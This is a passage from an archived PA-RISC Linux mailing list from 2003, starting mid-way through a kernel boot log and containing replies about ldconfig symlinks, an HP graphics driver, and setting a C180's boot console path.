5. Elroy PCI Bridge (13) at 0xffffffffbffe4000 [0/2], versions 0x782, 0x0,
0xa
6. Elroy PCI Bridge (13) at 0xffffffffbffe8000 [0/4], versions 0x782, 0x0,
0xa
7. Elroy PCI Bridge (13) at 0xffffffffbffea000 [0/5], versions 0x782, 0x0,
0xa
8. Elroy PCI Bridge (13) at 0xffffffffbfff0000 [0/8], versions 0x782, 0x0,
0xa
9. Elroy PCI Bridge (13) at 0xffffffffbfff4000 [0/10], versions 0x782, 0x0,
0xa
10. Elroy PCI Bridge (13) at 0xffffffffbfff8000 [0/12], versions 0x782, 0x0,
0xa
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc
12. Elroy PCI Bridge (13) at 0xfffffffffece0000 [1/0], versions 0x782, 0x0,
0xa
13. Elroy PCI Bridge (13) at 0xfffffffffece4000 [1/2], versions 0x782, 0x0,
0xa
14. Elroy PCI Bridge (13) at 0xfffffffffece8000 [1/4], versions 0x782, 0x0,
0xa
15. Elroy PCI Bridge (13) at 0xfffffffffecf0000 [1/8], versions 0x782, 0x0,
0xa
16. Elroy PCI Bridge (13) at 0xfffffffffecf4000 [1/10], versions 0x782, 0x0,
0xa
17. Elroy PCI Bridge (13) at 0xfffffffffecf8000 [1/12], versions 0x782, 0x0,
0xa
18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,
0xc
19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,
0x0
20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,
0xc
21. Unknown machine (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0,
0x0
CONFIG_SMP=n  ignoring additional CPUs
CPU(s): 1 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
lba version TR4.0 (0x5) found at 0xffffffffbffe0000
lba range[2] : ignoring GMMIO (0xfffffff004000000)
lba version TR4.0 (0x5) found at 0xffffffffbffe2000
lba range[2] : ignoring GMMIO (0xfffffff084000000)
lba version TR4.0 (0x5) found at 0xffffffffbffe4000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffff104000000)
lba version TR4.0 (0x5) found at 0xffffffffbffe8000
lba range[2] : ignoring GMMIO (0xfffffff204000000)
lba version TR4.0 (0x5) found at 0xffffffffbffea000
lba range[2] : ignoring GMMIO (0xfffffff284000000)
lba version TR4.0 (0x5) found at 0xffffffffbfff0000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffff404000000)
lba version TR4.0 (0x5) found at 0xffffffffbfff4000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffff504000000)
lba version TR4.0 (0x5) found at 0xffffffffbfff8000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffff604000000)
lba version TR4.0 (0x5) found at 0xfffffffffece0000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffff804000000)
lba version TR4.0 (0x5) found at 0xfffffffffece4000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffece8000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffecf0000
NOTICE: PCI bus reset still asserted! (clearing)
NOTICE: Enabling PCI Arbitration
lba range[2] : ignoring GMMIO (0xfffffffc04000000)
lba version TR4.0 (0x5) found at 0xfffffffffecf4000
lba range[2] : ignoring GMMIO (0xfffffffd04000000)
lba version TR4.0 (0x5) found at 0xfffffffffecf8000
lba range[2] : ignoring GMMIO (0xfffffffe04000000)
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Performance monitoring counters enabled for Unknown machine
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
STI GSC/PCI graphics driver version 0.9
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled
ttyS00 at iomem 0xffffffff80000000 (irq = 132) is a 16550A
ttyS01 at iomem 0xffffffff80000008 (irq = 132) is a 16450
ttyS02 at iomem 0xffffffff80000010 (irq = 132) is a 16550A
ttyS03 at iomem 0xffffffff80000038 (irq = 132) is a 16550A
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:30:6E:1C:B2:0B, IRQ 128.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth1: Digital DS21143 Tulip rev 65 at 0x40000, 00:30:6E:21:14:B4, IRQ 384.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: 53c895 detected 
sym53c875-0: rev 0x37 on pci bus 0 device 2 function 0 irq 130
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-1: rev 0x37 on pci bus 0 device 2 function 1 irq 131
sym53c875-1: ID 7, Fast-20, Parity Checking
sym53c895-2: rev 0x1 on pci bus 0 device 1 function 0 irq 129
sym53c895-2: ID 7, Fast-20, Parity Checking
sym53c895-2: SCSI bus mode change from 80 to 80.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
scsi2 : sym53c8xx-1.7.3c-20010512
blk: queue 000000008f952428, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: SEAGATE   Model: ST34371N          Rev: HPM4
  Type:   Direct-Access                      ANSI SCSI revision: 02
blk: queue 000000008f952628, I/O limit 4095Mb (mask 0xffffffff)
Attached scsi disk sda at scsi2, channel 0, id 4, lun 0
sym53c895-2-<4,*>: FAST-20 SCSI 20.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 >
STI GSC/PCI graphics driver version 0.9
BUG: Skipping previously registered driver: sti (native)
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  2542.400 MB/sec
   8regs_prefetch:  1948.800 MB/sec
   32regs    :  2065.600 MB/sec
   32regs_prefetch:  1938.400 MB/sec
raid5: using function: 8regs (2542.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 16384 buckets, 128Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 314k freed
Adding Swap: 123680k swap-space (priority -1)

I will now build another Debian unstable disk :)

Cheers,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Solved [was: Help, help testing Debian hppa unusable??]
Date: Thu, 20 Feb 2003 08:04:43 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030220160443.GF11363@tausq.org>
References: <3E53490E0000066B@ocpmta2.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622227 21940 80.91.229.3 (22 Nov 2014 02:10:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 20 09:07:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D83C4839
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Feb 2003 09:07:36 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CFB9BCD294; Thu, 20 Feb 2003 08:04:43 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E53490E0000066B@ocpmta2.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17749

> I temporary copy libc-2.3.1.so into /lib of this system.

Eep, that is a *BAD* idea...

> What I found erronious is that ldconfig changed on its own (without querying
> what todo) the link /lib/libc.so.6 -> libc-2.2.5.so (as install by libc6
> dpkg) to -> libc-2.3.1.so??

This is correct behavior, ldconfig creates a symlink between the SONAME
of a library to the library itself. This is documented in the ldconfig
manpage.....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Baker" <dan_baker@eli.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] X problems...
Date: Thu, 20 Feb 2003 09:28:04 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <009c01c2d905$6d72a910$830c1bac@vli82k7dbaker>
References: <20030220051506.GA10418@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622227 21942 80.91.229.3 (22 Nov 2014 02:10:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:27 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 20 10:28:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sage.eli.net (sage.eli.net [209.63.203.98])
	by dsl2.external.hp.com (Postfix) with ESMTP id C29C4483B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Feb 2003 10:28:48 -0700 (MST)
Original-Received: from vli82k7dbaker ([209.210.3.17]) by sage.eli.net
          (Netscape Messaging Server 3.6)  with SMTP id AAA140A;
          Thu, 20 Feb 2003 09:28:45 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
In-Reply-To: <20030220051506.GA10418@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17750

the other driver is at
ftp://ftp.hp.com/pub/ccd/soar2sdd/wk259/wk259mu/hpgraphics_kernel-1.5.13-1.s
rc.rpm

Sorry

Dan Baker

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
Grundler
Sent: Wednesday, February 19, 2003 9:15 PM
To: Dan Baker
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] X problems...


On Wed, Feb 19, 2003 at 05:42:29PM -0800, Dan Baker wrote:
> BUT, I did download source code for HP's Intel linux visualize driver. I
> can't get it to compile, the assembler tells me there's an invalid opcode
> (??) in the .o file. I'm not really a programmer, so I'm hoping somebody
out
> there can take a look at what they're doing and fix it.

Well, it's not that easy even for someone who can read C.

First, some bad news:
o x86 version of the card has extra VGA cruft+BIOS.
  PA-Risc version uses STI firmware for initialization.
o IIRC, the X11 server (or maybe just gfx card driver?) is a custom,
  closed source code.  Hopefully I'm wrong and someone will correct me.
o I'll guess that many (most of the?) interesting bits are in the XF86
  hpgfx driver module. I'm assuming one exists.

Good news: 3d acceleration for x86 cards uses the same RISC engines
as the parisc cards.

Several years ago I asked someone in the HP gfx group if they
could port the HPUX driver to parisc-linux but our port wasn't
ready then (I think it is now). The gfx driver interacts *alot*
with the rest of the kernel *and* the X11 server.
The above is what I remember from conversations with people.

> The files are at
>
>
ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
> c.rpm
> and
>
ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
> c.rpm

uhm...'cuse me, but aren't those the same?

hth
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot console wrong.
Date: Fri, 21 Feb 2003 03:58:52 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3E55A3FC.C06BFE43@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622228 21946 80.91.229.3 (22 Nov 2014 02:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:28 +0000 (UTC)
To: PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 20 14:20:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jumpgate.home.net.au (c16844.fernt1.vic.optusnet.com.au [210.49.203.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id A91A2482F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Feb 2003 14:20:54 -0700 (MST)
Original-Received: from localhost (jumpgate.home.net.au [127.0.0.1])
	by jumpgate.home.net.au (Postfix) with ESMTP id CC8A962E53
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 08:20:46 +1100 (EST)
Original-Received: from optushome.com.au (shadow.home.net.au [192.168.3.130])
	by jumpgate.home.net.au (Postfix) with ESMTP id 8649762E52
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 08:20:07 +1100 (EST)
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,Thai
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17751

    Hello list, long time no talk here.

    I have a C-180 and when in the Main Menu (booting) I have previously
setup the Console path to Serial, what input do I need to set it back to
normal console (Keyboard/screen) ?


> Main Menu: Enter command > pa con
>
>   Console path:         SERIAL_1.9600.8.none
>

    I have installed Debian through this console, and would like to play
with it the usual way now ;o)





From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot console wrong.
Date: Fri, 21 Feb 2003 10:27:26 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20030221082726.GH6523@aurinko.ntc.nokia.com>
References: <3E55A3FC.C06BFE43@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622228 21948 80.91.229.3 (22 Nov 2014 02:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:28 +0000 (UTC)
To: PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 01:27:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 692BA4834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 01:27:37 -0700 (MST)
Original-Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h1L8UTm08186
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 10:30:29 +0200 (EET)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T608c5519eaac158f230cc@esvir03nok.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Fri, 21 Feb 2003 10:27:27 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Fri, 21 Feb 2003 10:27:27 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h1L8RR110293
	for parisc-linux@lists.parisc-linux.org; Fri, 21 Feb 2003 10:27:27 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <3E55A3FC.C06BFE43@optushome.com.au>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 21 Feb 2003 08:27:27.0799 (UTC) FILETIME=[1189EC70:01C2D983]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17752

On Fri, Feb 21, 2003 at 03:58:52AM +0000, ext Rod Smart wrote:

>     I have a C-180 and when in the Main Menu (booting) I have previously
> setup the Console path to Serial, what input do I need to set it back to
> normal console (Keyboard/screen) ?

> >   Console path:         SERIAL_1.9600.8.none

>     I have installed Debian through this console, and would like to play
> with it the usual way now ;o)

Um ... "path console graphics" could be a good starting point. It 
probably tells you that "graphics" isn't a good path and shows a list of 
what could be, but that's almost as good.

Not sure though, I haven't had the chance to play with a C180, but that's 
what I do with the other Cxx0s.


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot console wrong.
Date: Fri, 21 Feb 2003 06:26:47 -0900 (AKST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.53.0302210625170.18642@wolf.alaskatech>
References: <3E55A3FC.C06BFE43@optushome.com.au> <20030221082726.GH6523@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622228 21951 80.91.229.3 (22 Nov 2014 02:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:28 +0000 (UTC)
Cc: PARISC Linux <parisc-linux@lists.parisc-linux.org>
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 08:22:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24.gci.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF6734837
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 08:22:46 -0700 (MST)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id h1LFQlAE018855;
	Fri, 21 Feb 2003 06:26:47 -0900
X-X-Sender: palinux@wolf.alaskatech
In-Reply-To: <20030221082726.GH6523@aurinko.ntc.nokia.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17753

> > On Fri, Feb 21, 2003 at 03:58:52AM +0000, ext Rod Smart wrote:
> >     I have a C-180 and when in the Main Menu (booting) I have previously
> > setup the Console path to Serial, what input do I need to set it back to
> > normal console (Keyboard/screen) ?
>
> > >   Console path:         SERIAL_1.9600.8.none
>
> >     I have installed Debian through this console, and would like to play
> > with it the usual way now ;o)
>
> Um ... "path console graphics" could be a good starting point. It
> probably tells you that "graphics" isn't a good path and shows a list of
> what could be, but that's almost as good.
>
> Not sure though, I haven't had the chance to play with a C180, but that's
> what I do with the other Cxx0s.
> --
> Mikko Nahkola   <mikko.nahkola@nokia.com>

"path console graphics(0)" sets the console to the built-in video on my
C180; graphics(x) (where x is the slot number as printed on the back of
the case) sets it to the video card in that slot...


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot console wrong.
Date: Fri, 21 Feb 2003 17:33:13 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20030221153313.GM6523@aurinko.ntc.nokia.com>
References: <3E55A3FC.C06BFE43@optushome.com.au> <20030221082726.GH6523@aurinko.ntc.nokia.com> <Pine.LNX.4.53.0302210625170.18642@wolf.alaskatech>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622229 21957 80.91.229.3 (22 Nov 2014 02:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:29 +0000 (UTC)
Cc: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>,
	PARISC Linux <parisc-linux@lists.parisc-linux.org>
To: ext Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 08:33:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84C8A483A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 08:33:17 -0700 (MST)
Original-Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h1LFaHm26302
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 17:36:17 +0200 (EET)
Original-Received: from esebh001.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T608ddaeff0ac158f24077@esvir04nok.ntc.nokia.com>;
 Fri, 21 Feb 2003 17:33:16 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Fri, 21 Feb 2003 17:33:14 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h1LFXE711147;
	Fri, 21 Feb 2003 17:33:14 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.53.0302210625170.18642@wolf.alaskatech>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 21 Feb 2003 15:33:14.0841 (UTC) FILETIME=[8CC32C90:01C2D9BE]
